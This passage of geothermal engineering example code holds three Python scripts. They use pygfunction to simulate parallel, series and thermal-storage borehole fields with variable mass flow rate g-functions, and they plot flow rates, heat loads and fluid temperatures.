import matplotlib.pyplot as plt
from scipy.signal import square
from time import perf_counter

import pygfunction as gt

def main():
    # -------------------------------------------------------------------------
    # Simulation parameters
    # -------------------------------------------------------------------------

    # Borehole dimensions
    D = 4.0             # Borehole buried depth (m)
    H = 150.0           # Borehole length (m)
    r_b = 0.075         # Borehole radius (m)
    B = 5.0             # Borehole spacing (m)

    # Pipe dimensions
    r_out = 33.6e-3/2   # Pipe outer radius (m)
    r_in = 27.4e-3/2    # Pipe inner radius (m)
    D_s = 0.11/2        # Shank spacing (m)
    epsilon = 1.0e-6    # Pipe roughness (m)

    # Pipe positions
    # Single U-tube [(x_in, y_in), (x_out, y_out)]
    pos_pipes = [(-D_s, 0.), (D_s, 0.)]

    # Ground properties
    alpha = 2.5/2.2e6   # Ground thermal diffusivity (m2/s)
    k_s = 2.5           # Ground thermal conductivity (W/m.K)
    T_g = 10.           # Undisturbed ground temperatue (degC)

    # Grout properties
    k_g = 1.5           # Grout thermal conductivity (W/m.K)

    # Pipe properties
    k_p = 0.42          # Pipe thermal conductivity (W/m.K)

    # Fluid properties
    # The fluid is propylene-glycol (20 %) at 20 degC
    fluid = gt.media.Fluid('MPG', 20.)
    cp_f = fluid.cp     # Fluid specific isobaric heat capacity (J/kg.K)
    rho_f = fluid.rho   # Fluid density (kg/m3)
    mu_f = fluid.mu     # Fluid dynamic viscosity (kg/m.s)
    k_f = fluid.k       # Fluid thermal conductivity (W/m.K)
    m_flow_borehole = np.array([0.25, 0.60])  # Total fluid mass flow rate per borehole (kg/s)

    # Calculation options for thermal response factors and g-functions
    nSegments = 8
    segment_ratios = gt.utilities.segment_ratios(nSegments)
    options = {'approximate_FLS': True,
               'nSegments': nSegments,
               'segment_ratios': segment_ratios,
               'disp': True,
               'linear_threshold': 0.}

    # Calculation options for plotting g-functions
    dt_gFunc = 100*3600.                # Time step
    tmax_gFunc = 3000. * 8760. * 3600.  # Maximum time
    Nt_gFunc = 50                       # Number of time steps
    # Geometrically expanding time vector
    time_gFunc = gt.utilities.time_geometric(dt_gFunc, tmax_gFunc, Nt_gFunc)

    # Calculation options for simulations
    dt = 600.                       # Time step
    tmax = 48 * 3600.               # Maximum time
    cells_per_level = 5             # Cells per level for load aggregation
    time = np.arange(dt, tmax + dt, dt)
    time_h = time / 3600.
    Nt = len(time)                  # Number of time steps

    # -------------------------------------------------------------------------
    # Borehole field #1
    # -------------------------------------------------------------------------

    # Field of 6x4 (n=24) boreholes
    N_1 = 6
    N_2 = 4
    boreField = gt.boreholes.rectangle_field(N_1, N_2, B, B, H, D, r_b)
    nBoreholes = len(boreField)
    H_tot = H * nBoreholes
    m_flow_network = m_flow_borehole * nBoreholes

    # -------------------------------------------------------------------------
    # Initialize pipe model
    # -------------------------------------------------------------------------
    # Always use the maximum fluid mass flow rate for thermal resistances
    m_flow_max = np.max(m_flow_borehole)

    # Pipe thermal resistance
    R_p = gt.pipes.conduction_thermal_resistance_circular_pipe(
        r_in, r_out, k_p)
    # Fluid to inner pipe wall thermal resistance (Single U-tube)
    m_flow_pipe = m_flow_max
    h_f = gt.pipes.convective_heat_transfer_coefficient_circular_pipe(
        m_flow_pipe, r_in, mu_f, rho_f, k_f, cp_f, epsilon)
    R_f = 1.0/(h_f * 2 * np.pi * r_in)

    # Single U-tube, same for all boreholes in the bore field
    UTubes = []
    for borehole in boreField:
        SingleUTube = gt.pipes.SingleUTube(pos_pipes, r_in, r_out,
                                           borehole, k_s, k_g, R_f + R_p)
        UTubes.append(SingleUTube)
    network = gt.networks.Network(boreField, UTubes)

    # -------------------------------------------------------------------------
    # Evaluate and plot variable mass flow rate g-functions
    # -------------------------------------------------------------------------

    # Calculate the g-function for uniform heat extraction rate
    gfunc = gt.gfunction.gFunction(
        network, alpha, time=time_gFunc, m_flow_network=m_flow_network, cp_f=cp_f, options=options)

    # Plot g-functions
    plt.rc('figure', figsize=(90.0/25.4, 70.0/25.4))
    fig = gfunc.visualize_g_function()
    plt.tight_layout()

    # -------------------------------------------------------------------------
    # Evaluate the g-functions and thermal response factors for simulations
    # -------------------------------------------------------------------------

    nSources = nSegments*nBoreholes     # Number of borehole segments
    nModes = len(m_flow_borehole)       # Number of operation states

    # Load aggregation object for simulations using variable mass flow rate g-functions
    # (The number of aggregated loads is equal to the number of operation states)
    loadAgg = gt.load_aggregation.ClaessonJaved(
        dt, tmax, nSources=nModes, cells_per_level=cells_per_level)
    # Times required for g-function and thermal resposne factors evaluation
    time_req = loadAgg.get_times_for_simulation()

    # Variable mass flow rate g-functions
    gfunc = gt.gfunction.gFunction(
        network, alpha, time=time_req, m_flow_network=m_flow_network, cp_f=cp_f, options=options)
    loadAgg.initialize(gfunc.gFunc / (2 * np.pi * k_s))

    # -------------------------------------------------------------------------
    # Flow rates and loads
    # -------------------------------------------------------------------------
    # Linear variation from 0 to -80 W/m over 48 hours
    Q_tot = -80 * time_h / 48 * H * nBoreholes
    # Alternating between minimum and maximum mass flow rate every 4 hours
    m_flow_min = np.min(m_flow_borehole)
    m_flow_max = np.max(m_flow_borehole)
    m_flow_tot = m_flow_min + (m_flow_max - m_flow_min) * (0.5 + 0.5 * square(2*np.pi*(time_h - dt / 3600.) / 8, duty=0.5))

    # -------------------------------------------------------------------------
    # Simulation using variable mass flow rate g-functions
    # -------------------------------------------------------------------------
    print(f'Simulation using variable mass flow rate g-functions: ',
          end='')
    # Initialize chrono
    tic = perf_counter()

    T_b = np.zeros(Nt)
    T_f_in = np.zeros(Nt)
    T_f_out = np.zeros(Nt)
    for i, t in enumerate(time):
        m_flow = m_flow_tot[i] * nBoreholes
        # Increment time step by (1)
        loadAgg.next_time_step(t)

        # Solve for temperatures and heat extraction rates (variable mass flow rate)
        xi = np.zeros(nModes)
        iMode = np.argmax(m_flow_tot[i] <= m_flow_borehole)
        if iMode > 0:
            xi[iMode-1] = (m_flow_borehole[iMode] - m_flow_tot[i]) / (m_flow_borehole[iMode] - m_flow_borehole[iMode-1])
            xi[iMode] = (m_flow_tot[i] - m_flow_borehole[iMode-1]) / (m_flow_borehole[iMode] - m_flow_borehole[iMode-1])
        else:
            xi[0] = 1.
        loadAgg.set_current_load(Q_tot[i]/H_tot * xi)
        deltaT_b = loadAgg.temporal_superposition()
        T_b[i] = T_g - deltaT_b @ xi
        T_f_in[i] = network.get_network_inlet_temperature(
            Q_tot[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)
        T_f_out[i] = network.get_network_outlet_temperature(
            T_f_in[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)

    toc = perf_counter()
    print(f' {toc - tic:.3f} sec')

    # -------------------------------------------------------------------------
    # Plot simulation results
    # -------------------------------------------------------------------------

    # Configure figure and axes
    plt.rc('figure', figsize=(140.0/25.4, 105.0/25.4))
    fig = gt.utilities._initialize_figure()
    ax11 = fig.add_subplot(221)
    ax12 = fig.add_subplot(222)
    ax21 = fig.add_subplot(223)

    # Results - Flow rates
    # --------------------
    # Axis labels
    ax11.set_xlabel(r'$t$ [h]')
    ax11.set_ylabel(r'$\dot{m}$ [kg/s]')
    gt.utilities._format_axes(ax11)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    m_flow_plot = np.repeat(m_flow_tot * nBoreholes, 2)
    # ax11.plot(time_h, m_flow_tot * nBoreholes, 'k-')
    ax11.plot(t_plot, m_flow_plot, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Heat injection rate
    # -----------------------------
    # Axis labels
    ax12.set_xlabel(r'$t$ [h]')
    ax12.set_ylabel(r'$\bar{Q}^\prime$ [W/m]')
    gt.utilities._format_axes(ax12)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    Q_plot = np.repeat(Q_tot / (nBoreholes * H), 2)
    ax12.plot(t_plot, Q_plot, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Temperatures
    # ----------------------
    # Axis labels
    ax21.set_xlabel(r'$t$ [h]')
    ax21.set_ylabel(r'$T_{f,out}$ [degC]')
    gt.utilities._format_axes(ax21)

    # Plot temperatures
    ax21.plot(time_h, T_f_out, 'k-')
    # Adjust to plot window
    plt.tight_layout()
    return

# Main function
if __name__ == '__main__':
    main()

Figures

Series boreholes

Code
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import square
from time import perf_counter

import pygfunction as gt

def main():
    # -------------------------------------------------------------------------
    # Simulation parameters
    # -------------------------------------------------------------------------

    # Borehole dimensions
    D = 4.0             # Borehole buried depth (m)
    H = 150.0           # Borehole length (m)
    r_b = 0.075         # Borehole radius (m)
    B = 5.0             # Borehole spacing (m)

    # Pipe dimensions
    r_out = 33.6e-3/2   # Pipe outer radius (m)
    r_in = 27.4e-3/2    # Pipe inner radius (m)
    D_s = 0.11/2        # Shank spacing (m)
    epsilon = 1.0e-6    # Pipe roughness (m)

    # Pipe positions
    # Single U-tube [(x_in, y_in), (x_out, y_out)]
    pos_pipes = [(-D_s, 0.), (D_s, 0.)]

    # Ground properties
    alpha = 2.5/2.2e6   # Ground thermal diffusivity (m2/s)
    k_s = 2.5           # Ground thermal conductivity (W/m.K)
    T_g = 10.           # Undisturbed ground temperatue (degC)

    # Grout properties
    k_g = 1.5           # Grout thermal conductivity (W/m.K)

    # Pipe properties
    k_p = 0.42          # Pipe thermal conductivity (W/m.K)

    # Fluid properties
    # The fluid is propylene-glycol (20 %) at 20 degC
    fluid = gt.media.Fluid('MPG', 20.)
    cp_f = fluid.cp     # Fluid specific isobaric heat capacity (J/kg.K)
    rho_f = fluid.rho   # Fluid density (kg/m3)
    mu_f = fluid.mu     # Fluid dynamic viscosity (kg/m.s)
    k_f = fluid.k       # Fluid thermal conductivity (W/m.K)
    m_flow_borehole = np.array([0.5, 1.2])  # Total fluid mass flow rate per borehole (kg/s)
    # Add reversed flows to list of mass flow rates
    m_flow_borehole = np.concatenate([-m_flow_borehole[::-1], m_flow_borehole])

    # Calculation options for thermal response factors and g-functions
    nSegments = 8
    segment_ratios = gt.utilities.segment_ratios(nSegments)
    options = {'approximate_FLS': True,
               'nSegments': nSegments,
               'segment_ratios': segment_ratios,
               'disp': True,
               'linear_threshold': 0.}

    # Calculation options for plotting g-functions
    dt_gFunc = 100*3600.                # Time step
    tmax_gFunc = 3000. * 8760. * 3600.  # Maximum time
    Nt_gFunc = 50                       # Number of time steps
    # Geometrically expanding time vector
    time_gFunc = gt.utilities.time_geometric(dt_gFunc, tmax_gFunc, Nt_gFunc)

    # Calculation options for simulations
    dt = 600.                       # Time step
    tmax = 48 * 3600.               # Maximum time
    cells_per_level = 5             # Cells per level for load aggregation
    time = np.arange(dt, tmax + dt, dt)
    time_h = time / 3600.
    Nt = len(time)                  # Number of time steps

    # -------------------------------------------------------------------------
    # Borehole field #2
    # -------------------------------------------------------------------------

    # Field of 6x1 (n=6) boreholes
    N_1 = 6
    N_2 = 1
    boreField = gt.boreholes.rectangle_field(N_1, N_2, B, B, H, D, r_b)
    nBoreholes = len(boreField)
    H_tot = H * nBoreholes
    m_flow_network = m_flow_borehole

    # -------------------------------------------------------------------------
    # Initialize pipe model
    # -------------------------------------------------------------------------

    # Always use the maximum fluid mass flow rate for thermal resistances
    m_flow_max = np.max(np.abs(m_flow_borehole))

    # Pipe thermal resistance
    R_p = gt.pipes.conduction_thermal_resistance_circular_pipe(
        r_in, r_out, k_p)
    # Fluid to inner pipe wall thermal resistance (Single U-tube)
    m_flow_pipe = m_flow_max
    h_f = gt.pipes.convective_heat_transfer_coefficient_circular_pipe(
        m_flow_pipe, r_in, mu_f, rho_f, k_f, cp_f, epsilon)
    R_f = 1.0/(h_f * 2 * np.pi * r_in)

    # Single U-tube, same for all boreholes in the bore field
    UTubes = []
    for borehole in boreField:
        SingleUTube = gt.pipes.SingleUTube(pos_pipes, r_in, r_out,
                                           borehole, k_s, k_g, R_f + R_p)
        UTubes.append(SingleUTube)
    bore_connectivity=[i-1 for i in range(nBoreholes)]
    network = gt.networks.Network(boreField, UTubes, bore_connectivity=bore_connectivity)

    # -------------------------------------------------------------------------
    # Evaluate and plot variable mass flow rate g-functions
    # -------------------------------------------------------------------------

    # Calculate the g-function for uniform heat extraction rate
    gfunc = gt.gfunction.gFunction(
        network, alpha, time=time_gFunc, m_flow_network=m_flow_network, cp_f=cp_f, options=options)

    # Plot g-functions
    gfunc.visualize_g_function(which=[(i,i) for i in range(len(m_flow_network))])
    gfunc.visualize_g_function(which=[(0,i) for i in range(len(m_flow_network))])

    # -------------------------------------------------------------------------
    # Evaluate the g-functions and thermal response factors for simulations
    # -------------------------------------------------------------------------

    nSources = nSegments*nBoreholes     # Number of borehole segments
    nModes = len(m_flow_borehole)     # Number of operation states

    # Load aggregation object for simulations using variable mass flow rate g-functions
    # (The number of aggregated loads is equal to the number of operation states)
    loadAgg = gt.load_aggregation.ClaessonJaved(
        dt, tmax, nSources=nModes, cells_per_level=cells_per_level)
    # Times required for g-function and thermal resposne factors evaluation
    time_req = loadAgg.get_times_for_simulation()

    # Variable mass flow rate g-functions
    gfunc = gt.gfunction.gFunction(
        network, alpha, time=time_req, m_flow_network=m_flow_network, cp_f=cp_f, options=options).gFunc
    loadAgg.initialize(gfunc/ (2 * np.pi * k_s))

    # -------------------------------------------------------------------------
    # Flow rates and loads
    # -------------------------------------------------------------------------
    # Sinusoidal variation between -80 and 80 W/m with minimum of 10 W/m
    Q_min = -80 * H * nBoreholes
    Q_max = 80 * H * nBoreholes
    Q_small = 10 * H * nBoreholes
    Q_avg = 0.5 * (Q_min + Q_max)
    Q_amp = 0.5 * (Q_max - Q_min)
    Q_tot = -Q_avg - Q_amp * np.sin(2 * np.pi * time_h / 24)
    # Mass flow rate is proportional to the absolute load
    m_flow_min = np.min(np.abs(m_flow_borehole))
    m_flow_max = np.max(np.abs(m_flow_borehole))
    m_flow_tot = np.sign(Q_tot) * np.maximum(m_flow_min, np.minimum(m_flow_max, m_flow_max * np.abs(Q_tot) / Q_max))
    m_flow_tot[np.abs(Q_tot) < Q_small] = 0.
    Q_tot[np.abs(Q_tot) < Q_small] = 0.

    # -------------------------------------------------------------------------
    # Simulation using variable mass flow rate g-functions
    # -------------------------------------------------------------------------
    print(f'Simulation using variable mass flow rate g-functions: ',
          end='')
    # Initialize chrono
    tic = perf_counter()

    T_b = np.zeros(Nt)
    T_f_in = np.zeros(Nt)
    T_f_out = np.zeros(Nt)
    for i, t in enumerate(time):
        m_flow = m_flow_tot[i]
        # Increment time step by (1)
        loadAgg.next_time_step(t)

        # Solve for temperatures and heat extraction rates (variable mass flow rate)
        if np.abs(Q_tot[i]) >= Q_small:
            xi = np.zeros(nModes)
            iMode = np.argmax(m_flow_tot[i] <= m_flow_network)
            if iMode > 0:
                xi[iMode-1] = (m_flow_network[iMode] - m_flow_tot[i]) / (m_flow_network[iMode] - m_flow_network[iMode-1])
                xi[iMode] = (m_flow_tot[i] - m_flow_network[iMode-1]) / (m_flow_network[iMode] - m_flow_network[iMode-1])
            else:
                xi[0] = 1.
            loadAgg.set_current_load(Q_tot[i]/H_tot * xi)
            deltaT_b = loadAgg.temporal_superposition()
            T_b[i] = T_g - deltaT_b @ xi
            T_f_in[i] = network.get_network_inlet_temperature(
                Q_tot[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)
            T_f_out[i] = network.get_network_outlet_temperature(
                T_f_in[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)
        else:
            T_b[i] = np.nan
            T_f_in[i] = np.nan
            T_f_out[i] = np.nan

    toc = perf_counter()
    print(f' {toc - tic:.3f} sec')

    # -------------------------------------------------------------------------
    # Plot simulation results
    # -------------------------------------------------------------------------

    # Configure figure and axes
    plt.rc('figure', figsize=(140.0/25.4, 105.0/25.4))
    fig = gt.utilities._initialize_figure()
    ax11 = fig.add_subplot(221)
    ax12 = fig.add_subplot(222)
    ax21 = fig.add_subplot(223)

    # Results - Flow rates
    # --------------------
    # Axis labels
    ax11.set_xlabel(r'$t$ [h]')
    ax11.set_ylabel(r'$\dot{m}$ [kg/s]')
    gt.utilities._format_axes(ax11)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    m_flow_plot = np.repeat(m_flow_tot, 2)
    ax11.plot(t_plot, m_flow_plot, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Heat injection rate
    # -----------------------------
    # Axis labels
    ax12.set_xlabel(r'$t$ [h]')
    ax12.set_ylabel(r'$\bar{Q}^\prime$ [W/m]')
    gt.utilities._format_axes(ax12)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    Q_plot = np.repeat(Q_tot / (nBoreholes * H), 2)
    ax12.plot(t_plot, Q_plot, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Temperatures
    # ----------------------
    # Axis labels
    ax21.set_xlabel(r'$t$ [h]')
    ax21.set_ylabel(r'$T_{f,out}$ [degC]')
    gt.utilities._format_axes(ax21)

    # Plot temperatures
    ax21.plot(time_h, T_f_out, 'k-')
    # Adjust to plot window
    plt.tight_layout()
    return

# Main function
if __name__ == '__main__':
    main()

Figures

Borehole thermal energy storage

Code
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import square
from scipy.interpolate import interp1d
from time import perf_counter

import pygfunction as gt
import pvlib as pv

def main():
    # -------------------------------------------------------------------------
    # Simulation parameters
    # -------------------------------------------------------------------------

    # Building properties
    T_eq = 18.0         # Base temperature of the buildings [degC]

    # eps weather file for Montreal based on CWEC2020
    weather_file = './src/CAN_QC_MONTREAL-INTL-A_7025251_CWEC.epw'
    data, metadata = pv.iotools.read_epw(weather_file)
    time_data = np.arange(3600., 3600. * 8761, 3600.)
    T_amb = data['temp_air'].to_numpy()

    # Solar irradiance on a 45 degrees tilted surface facing south
    solar_position = pv.solarposition.get_solarposition(
        data.index,
        metadata['latitude'],
        metadata['longitude'],
        metadata['altitude'])
    G_t = pv.irradiance.get_total_irradiance(
        45.,
        180.,
        solar_position['zenith'],
        solar_position['azimuth'],
        data['dni'],
        data['ghi'],
        data['dhi'])['poa_global'].to_numpy()
    # return data, solar_position

    # Borehole dimensions
    D = 4.0             # Borehole buried depth (m)
    H = 150.0           # Borehole length (m)
    r_b = 0.075         # Borehole radius (m)
    B = 5.0             # Borehole spacing (m)

    # Pipe dimensions
    r_out = 33.6e-3/2   # Pipe outer radius (m)
    r_in = 27.4e-3/2    # Pipe inner radius (m)
    D_s = 0.11/2        # Shank spacing (m)
    epsilon = 1.0e-6    # Pipe roughness (m)

    # Pipe positions
    # Single U-tube [(x_in, y_in), (x_out, y_out)]
    pos_pipes = [(-D_s, 0.), (D_s, 0.)]

    # Ground properties
    alpha = 2.5/2.2e6   # Ground thermal diffusivity (m2/s)
    k_s = 2.5           # Ground thermal conductivity (W/m.K)
    T_g = 10.           # Undisturbed ground temperatue (degC)

    # Grout properties
    k_g = 1.5           # Grout thermal conductivity (W/m.K)

    # Pipe properties
    k_p = 0.42          # Pipe thermal conductivity (W/m.K)

    # Fluid properties
    # The fluid is propylene-glycol (20 %) at 20 degC
    fluid = gt.media.Fluid('MPG', 20.)
    cp_f = fluid.cp     # Fluid specific isobaric heat capacity (J/kg.K)
    rho_f = fluid.rho   # Fluid density (kg/m3)
    mu_f = fluid.mu     # Fluid dynamic viscosity (kg/m.s)
    k_f = fluid.k       # Fluid thermal conductivity (W/m.K)
    m_flow_borehole = np.array([0.5, 1.2])  # Total fluid mass flow rate per borehole (kg/s)

    # Calculation options for thermal response factors and g-functions
    nSegments = 8
    segment_ratios = gt.utilities.segment_ratios(nSegments)
    options = {'approximate_FLS': True,
               'nSegments': nSegments,
               'segment_ratios': segment_ratios,
               'disp': True,
               'linear_threshold': 0.}

    # Calculation options for plotting g-functions
    dt_gFunc = 100*3600.                # Time step
    tmax_gFunc = 3000. * 8760. * 3600.  # Maximum time
    Nt_gFunc = 50                       # Number of time steps
    # Geometrically expanding time vector
    time_gFunc = gt.utilities.time_geometric(dt_gFunc, tmax_gFunc, Nt_gFunc)

    # Calculation options for simulations
    dt = 3600.                      # Time step
    tmax = 20 * 8760 * 3600.             # Maximum time
    # tmax = 8760 * 3600.             # Maximum time
    # tmax = 48 * 3600.             # Maximum time
    cells_per_level = 5             # Cells per level for load aggregation
    time = np.arange(dt, tmax + dt, dt)
    time_h = time / 3600.
    Nt = len(time)                  # Number of time steps

    # -------------------------------------------------------------------------
    # Borehole field #3
    # -------------------------------------------------------------------------

    # Field of 144 borehole in 24 parallel branches of 6 boreholes
    boreField = gt.boreholes.field_from_file('./src/BTES.txt')
    nBoreholes = len(boreField)
    nBranches = 24
    nBorPerBranch = 6
    H_tot = H * nBoreholes

    # -------------------------------------------------------------------------
    # Initialize pipe model
    # -------------------------------------------------------------------------

    bore_connectivity = [i+1 for i in range(nBoreholes)]
    for i in range(nBorPerBranch-1, nBoreholes, nBorPerBranch):
        bore_connectivity[i] = -1

    # Add reversed flows to list of mass flow rates
    m_flow_borehole = np.concatenate([-m_flow_borehole[::-1], m_flow_borehole])
    # Always use the maximum fluid mass flow rate for thermal resistances
    m_flow_max = np.max(m_flow_borehole)

    # Pipe thermal resistance
    R_p = gt.pipes.conduction_thermal_resistance_circular_pipe(
        r_in, r_out, k_p)
    # Fluid to inner pipe wall thermal resistance (Single U-tube)
    m_flow_pipe = m_flow_max
    h_f = gt.pipes.convective_heat_transfer_coefficient_circular_pipe(
        m_flow_pipe, r_in, mu_f, rho_f, k_f, cp_f, epsilon)
    R_f = 1.0/(h_f * 2 * np.pi * r_in)

    # Single U-tube, same for all boreholes in the bore field
    UTubes = []
    for borehole in boreField:
        SingleUTube = gt.pipes.SingleUTube(pos_pipes, r_in, r_out,
                                           borehole, k_s, k_g, R_f + R_p)
        UTubes.append(SingleUTube)
    network = gt.networks.Network(
        boreField, UTubes, nSegments=nSegments,
        bore_connectivity=bore_connectivity)

    # -------------------------------------------------------------------------
    # Evaluate and plot variable mass flow rate g-functions
    # -------------------------------------------------------------------------

    # # Calculate the g-function for uniform heat extraction rate
    m_flow_network = m_flow_borehole * nBranches
    gfunc = gt.gfunction.gFunction(
        network, alpha, m_flow_network=m_flow_network, cp_f=cp_f,
        time=time_gFunc, options=options)

    # Plot g-functions
    gfunc.visualize_g_function(which=[(i,i) for i in range(len(m_flow_network))])
    gfunc.visualize_g_function(which=[(0,i) for i in range(len(m_flow_network))])
    plt.tight_layout()

    # -------------------------------------------------------------------------
    # Evaluate the g-functions and thermal response factors for simulations
    # -------------------------------------------------------------------------

    nSources = nSegments*nBoreholes     # Number of borehole segments
    nModes = len(m_flow_borehole)     # Number of operation states

    # Load aggregation object for simulations using variable mass flow rate g-functions
    # (The number of aggregated loads is equal to the number of operation states)
    loadAgg = gt.load_aggregation.ClaessonJaved(
        dt, tmax, nSources=nModes, cells_per_level=cells_per_level)
    # Variable mass flow rate g-functions
    time_req = loadAgg.get_times_for_simulation()
    gfunc = gt.gfunction.gFunction(
        network, alpha, time=time_req, m_flow_network=m_flow_network,
        cp_f=cp_f, options=options).gFunc
    loadAgg.initialize(gfunc / (2 * np.pi * k_s))

    # -------------------------------------------------------------------------
    # Flow rates and loads
    # -------------------------------------------------------------------------
    # Sinusoidal variation between -80 and 80 W/m with minimum of 10 W/m
    Q_max = 80 * H * nBoreholes
    Q_small = 10 * H * nBoreholes
    Q_buildings = np.maximum(
        T_eq - np.interp(time, time_data, T_amb, period=8760*3600.),
        0.)
    a = Q_max / np.max(Q_buildings)
    Q_buildings = Q_buildings * Q_max / np.max(Q_buildings)
    Q_solar = np.maximum(
        np.interp(np.ceil(time/3600.)*3600., time_data, G_t, period=8760*3600.),
        0.)
    b = np.sum(Q_buildings) / np.sum(Q_solar)
    Q_solar = Q_solar * np.sum(Q_buildings) / np.sum(Q_solar)
    Q_tot = Q_buildings - Q_solar
    # Mass flow rate is proportional to the absolute load
    m_flow_min = np.min(np.abs(m_flow_borehole))
    m_flow_max = np.max(np.abs(m_flow_borehole))
    m_flow_tot = np.sign(Q_tot) * np.maximum(m_flow_min, np.minimum(m_flow_max, m_flow_max * np.abs(Q_tot) / Q_max))
    m_flow_tot[np.abs(Q_tot) < Q_small] = 0.
    Q_tot[np.abs(Q_tot) < Q_small] = 0.

    # -------------------------------------------------------------------------
    # Simulation using variable mass flow rate g-functions
    # -------------------------------------------------------------------------
    print(f'Simulation using variable mass flow rate g-functions: ',
          end='')
    # Initialize chrono
    tic = perf_counter()

    T_b = np.zeros(Nt)
    T_f_in = np.zeros(Nt)
    T_f_out = np.zeros(Nt)
    iModes = np.zeros(Nt, dtype=int)
    xis = np.zeros((nModes, Nt))

    # Initialize chrono
    tic = perf_counter()

    m_flow_all = np.concatenate((np.linspace(m_flow_network[0], m_flow_network[1]), np.linspace(m_flow_network[2], m_flow_network[3])))
    R_field_all = [gt.networks.network_thermal_resistance(network, m_flow, cp_f) for m_flow in m_flow_all]
    f_R_field = interp1d(m_flow_all, R_field_all)
    for i, t in enumerate(time):
        m_flow = m_flow_tot[i] * nBranches
        # Increment time step by (1)
        loadAgg.next_time_step(t)

        # Solve for temperatures and heat extraction rates (variable mass flow rate)
        if np.abs(Q_tot[i]) >= Q_small:
            xi = np.zeros(nModes)
            iMode = np.argmax(m_flow_tot[i] <= m_flow_borehole)
            iModes[i] = iMode
            if iMode > 0:
                xi[iMode-1] = (m_flow_borehole[iMode] - m_flow_tot[i]) / (m_flow_borehole[iMode] - m_flow_borehole[iMode-1])
                xi[iMode] = (m_flow_tot[i] - m_flow_borehole[iMode-1]) / (m_flow_borehole[iMode] - m_flow_borehole[iMode-1])
            else:
                xi[0] = 1.
            xis[:,i] = xi
            loadAgg.set_current_load(Q_tot[i] / H_tot * xi)
            deltaT_b = loadAgg.temporal_superposition()
            T_b[i] = T_g - deltaT_b @ xi
            # T_f_in[i] = network.get_network_inlet_temperature(
            #     Q_tot[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)
            # T_f_out[i] = network.get_network_outlet_temperature(
            #     T_f_in[i], T_b[i], m_flow, cp_f, nSegments=1, segment_ratios=None)
            T_f = T_b[i] - Q_tot[i] / H_tot * f_R_field(m_flow)
            T_f_in[i] = T_f - 0.5 * Q_tot[i] / (np.abs(m_flow) * cp_f)
            T_f_out[i] = T_f + 0.5 * Q_tot[i] / (np.abs(m_flow) * cp_f)
        else:
            T_b[i] = np.nan
            T_f_in[i] = np.nan
            T_f_out[i] = np.nan

    toc = perf_counter()
    print(f' {toc - tic:.3f} sec')

    # -------------------------------------------------------------------------
    # Plot simulation results
    # -------------------------------------------------------------------------

    # Configure figure and axes
    plt.rc('figure', figsize=(140.0/25.4, 105.0/25.4))
    fig = gt.utilities._initialize_figure()
    ax11 = fig.add_subplot(221)
    ax12 = fig.add_subplot(222)
    ax21 = fig.add_subplot(223)

    # Results - Flow rates
    # --------------------
    # Axis labels
    ax11.set_xlabel(r'$t$ [h]')
    ax11.set_ylabel(r'$\dot{m}$ [kg/s]')
    gt.utilities._format_axes(ax11)

    # Plot mass flow rates
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    m_flow_plot = np.repeat(m_flow_tot, 2)
    ax11.plot(t_plot[-2*8760:], m_flow_plot[-2*8760:] * nBranches, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Heat injection rate
    # -----------------------------
    # Axis labels
    ax12.set_xlabel(r'$t$ [h]')
    ax12.set_ylabel(r'$\bar{Q}^\prime$ [W/m]')
    gt.utilities._format_axes(ax12)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    Q_plot = np.repeat(Q_tot / (nBoreholes * H), 2)
    ax12.plot(t_plot[-2*8760:], Q_plot[-2*8760:], 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Temperatures
    # ----------------------
    # Axis labels
    ax21.set_xlabel(r'$t$ [h]')
    ax21.set_ylabel(r'$T_{f,out}$ [degC]')
    gt.utilities._format_axes(ax21)

    # Plot temperatures
    ax21.plot(time_h[-8760:], T_f_out[-8760:])
    ax21.legend()
    # Adjust to plot window
    plt.tight_layout()

    # -------------------------------------------------------------------------
    # Plot simulation results
    # -------------------------------------------------------------------------

    # Configure figure and axes
    plt.rc('figure', figsize=(140.0/25.4, 105.0/25.4))
    fig = gt.utilities._initialize_figure()
    ax11 = fig.add_subplot(221)
    ax12 = fig.add_subplot(222)
    ax21 = fig.add_subplot(223)

    # Results - Flow rates
    # --------------------
    # Axis labels
    ax11.set_xlabel(r'$t$ [h]')
    ax11.set_ylabel(r'$\dot{m}$ [kg/s]')
    gt.utilities._format_axes(ax11)

    # Plot mass flow rates
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    m_flow_plot = np.repeat(m_flow_tot, 2)
    ax11.plot(t_plot[7200*24*2:7207*24*2], m_flow_plot[7200*24*2:7207*24*2] * nBranches, 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Heat injection rate
    # -----------------------------
    # Axis labels
    ax12.set_xlabel(r'$t$ [h]')
    ax12.set_ylabel(r'$\bar{Q}^\prime$ [W/m]')
    gt.utilities._format_axes(ax12)

    # Plot temperatures
    t_plot = np.repeat(np.concatenate(([0.], time_h)), 2)[1:-1]
    Q_plot = np.repeat(Q_tot / (nBoreholes * H), 2)
    ax12.plot(t_plot[7200*24*2:7207*24*2], Q_plot[7200*24*2:7207*24*2], 'k-')
    # Adjust to plot window
    plt.tight_layout()

    # Results - Temperatures
    # ----------------------
    # Axis labels
    ax21.set_xlabel(r'$t$ [h]')
    ax21.set_ylabel(r'$T_{f,out}$ [degC]')
    gt.utilities._format_axes(ax21)

